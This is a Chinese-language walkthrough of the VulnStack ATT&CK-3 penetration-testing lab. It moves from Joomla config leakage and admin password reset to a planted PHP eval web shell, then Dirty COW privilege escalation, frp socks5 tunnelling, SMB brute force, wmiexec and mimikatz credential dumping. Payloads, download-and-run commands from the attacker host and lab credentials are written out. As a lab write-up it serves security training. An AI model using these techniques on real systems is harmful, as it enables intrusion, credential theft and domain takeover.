VulnStack-ATT&CK-3
2024-11-29 12:57:05 # VulnStack-ATT&CK

服务器渗透

信息收集

端口扫描

1
nmap -sV -n -v 192.168.3.0/24 

image-20240921002120668

发现192.168.3.4

访问80端口

image-20240921002501672

发现是joomla,查一下发现有一个能GetShell的洞,但是需要用管理员登录才能用,试了一下密码爆破,没啥用,没什么思路扫一下目录爽爽

目录扫描

1
dirsearch -u http://192.168.3.4 -e php

image-20240921005339748

发现配置文件,访问看看,注意直接访问.php是没有显示的,需要访问.php~

image-20240921005455972

信息泄露利用

发现mysql用户名和密码,端口扫描的时候发现3306端口是对外开放的,那用navicat连接一下改掉管理员密码就行了

image-20240921005749517

image-20240921005808709

经过加密了,加密算法不知道,想直接破解很难,好在官方文档给了一个示例如何恢复或重置管理员密码? - Joomla! Documentation,直接将密码改为“d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199”也就是“secret”加密后的值,修改后直接使用administrator/secret登录

image-20240921010101646

GetShell

在前台登录后点了半天没发现什么,搜了一下发现是后台getshell,结合前面的目录扫描,后台地址是administrator/index.php

image-20240921010456131

登陆后选择Extentions>>Templates>>Templates>>Beez3 Details and Files

image-20240921010914121

image-20240921011026455

新建一个1.php

image-20240921011119609

image-20240921011209915

写入码子

1
<?php eval($_POST['cmd']);?>

蚁剑连接

1
http://192.168.3.4/templates/beez3/1.php

image-20240921011938134

连接成功,但是每个命令都是返回ret=127,应该是禁用了函数,使用插件进行绕过

插件绕过函数限制

使用disable_functions进行绕过

image-20240921012053723

选择LD_PRELOAD模式,改一下地址,然后开始

image-20240921012152993

image-20240921012236133

然后将地址改到.antproxy.php就行,连接密码不变

image-20240921012325999

image-20240921012356408

发现一个神奇的东西,我们现在连接的是192.168.3.4(CentOS),为什么ifconfig出来的网卡是192.168.93.120(Ubuntu),我们的192.168.3.4(CentOS)莫名消失,原来是192.168.3.4(CentOS)做了nginx反向代理,这使得在蚁剑的shell是192.168.93.120(Ubuntu)主机的shell,而蚁剑中所见的文件也是192.168.93.120(Ubuntu)主机的文件

思路断了,翻一下文件,发现/tmp/mysql/test.txt里面有用户名密码wwwuser/wwwuser_123Aqx,尝试使用ssh来连接一下,发现连接成功(好扯,莫名其妙)

SSH连接

1
ssh wwwuser@192.168.3.4

image-20240921013220299

如果连接报错no matching host key type found. Their offer: ssh-rsa,ssh-dss,可以使用

1
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa wwwuser@192.168.3.4

提权

很明显不是root,为了方便后续渗透,先提权

1
uname -e

image-20240921013625564

kali中执行

1
searchsploit linux 2.6.32

image-20240921013928348

发现有脏牛的,我挑40839.c

1
searchsploit -m 40839.c

image-20240921014459628

开启HTTP服务

1
python3 -m http.server 8080

image-20240921014523617

在192.168.3.4(CentOS)下载40839.c

image-20240921014821294

编译

1
gcc -pthread 40839.c -o dirty -lcrypt

赋予权限

1
chmod 777 dirty

执行

1
./dirty 123456

image-20240921015101604

提示删除/tmp/passwd.bak

1
rm -rf /tmp/passwd.bak

执行,这个要等一会儿

1
./dirty 123456

image-20240921015337916

切换到firefart/123456用户

1
su firefart

image-20240921015501399

成功得到root权限,看看网络信息

image-20240921015634063

两个网卡,一个是我们已知的,另一个是内网IP,猜测该计算机在某内网中

内网渗透

主机发现

在192.168.3.4(CentOS)中运行下面命令(可能运行比较慢)

1
for k in $(seq 1 200); do ping -c 1 192.168.93.$k | grep "ttl" | awk -F'[ :]+' '{print $4}'; done

image-20240921020625064

根据现有的信息,可以判断.100是192.168.3.4(CentOS),.120是ubuntu,如果需要进一步渗透,我们最好先建立隧道代理

Frp代理

这里使用的是frp0.58.1

配置文件

frps.toml

1
bindPort = 7001

frpc.toml

1
2
3
4
5
6
7
8
9
serverAddr = "kaliIP"
serverPort = 7001

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6005
[proxies.plugin]
type = "socks5"

上传到CentOS

kali的frp目录下执行

1
python3 -m http.server 8080

image-20240921104627067

CentOS执行

1
2
3
wget http://192.168.3.3:8080/frpc
wget http://192.168.3.3:8080/frpc.toml
chmod 777 frps

image-20240921104658770

kali中执行,先停掉http服务

1
./frps -c frps.toml

image-20240921104718104

CentOS

1
./frpc -c frpc.toml

image-20240921104739377

修改Proxychains配置

kali中的新终端执行,别把frp关掉,在末尾添加如图的socks5配置

1
vim /etc/proxychains4.conf

image-20240921104942934

端口扫描

1
2
3
proxychains4 nmap -sV -n -v -Pn 192.168.93.10
proxychains4 nmap -sV -n -v -Pn 192.168.93.20
proxychains4 nmap -sV -n -v -Pn 192.168.93.30

发现445都开着,尝试smb爆破

SMB密码爆破

1
2
3
4
5
6
7
proxychains4 msfconsole
search smb_login
use 0
set RHOSTS 192.168.93.30
set SMBUser administrator
set PASS_FILE ~/dic/pass.txt
run

image-20240921110714515

成功得到93.30的smb账号密码

Wmiexec连接

1
proxychains4 python3 wmiexec-pro.py 'administrator:123qwe!ASD@192.168.93.30' exec-command -shell

image-20240921110858704

Mimikatz抓取密码明文

上传mimikatz到93.30,此时我们无法直接让kali开启HTTP服务,93.30下载,因为93.30在内网网段,kali不在内网,所以我们在CentOS中开启HTTP服务来给WIN下载,所以思路是kali>>CentOS>>WIN

操作基本和前面的python开HTTP然后下载类似,不过要注意CentOS需要这样子开HTTP服务

1
python -m SimpleHTTPServer 8080

这里我们就跳过kali>>CentOS,直接来看WIN中如何下载文件

1
certutil -urlcache -split -f http://192.168.93.100:8080/mimikatz.exe C:\1.exe

image-20240921111703740

下载成功,下面利用,注意需要相同路径

1
2
1.exe log privilege::debug sekurlsa::logonpasswords
type mimikatz.log

image-20240921111853712

得到域控的密码,直接ping一下找到哪个是域控DC

1
ping test.org

image-20240921111959829

使用Administrator/zxcASDqw123!!登录

1
proxychains4 python3 wmiexec-pro.py 'Administrator:zxcASDqw123!!@192.168.93.10' exec-command -shell

image-20240921112121808

获取Flag

1
2
cd ../../Users/Administrator/Documents
type flag.txt

image-20240921112426993

总结

有的地方感觉有点刻意,比如一开始SSH连接把账号密码放在test.txt中,以及SMB密码爆破,如果字典里刚好没有这个密码就很难受了,不过应该也有其他方法做,现在一刷不知道,以后学到了再来。

下载链接

frp

1
https://github.com/fatedier/frp

mimikatz

1
https://github.com/ParrotSec/mimikatz

wmiexec

1
https://github.com/XiaoliChan/wmiexec-Pro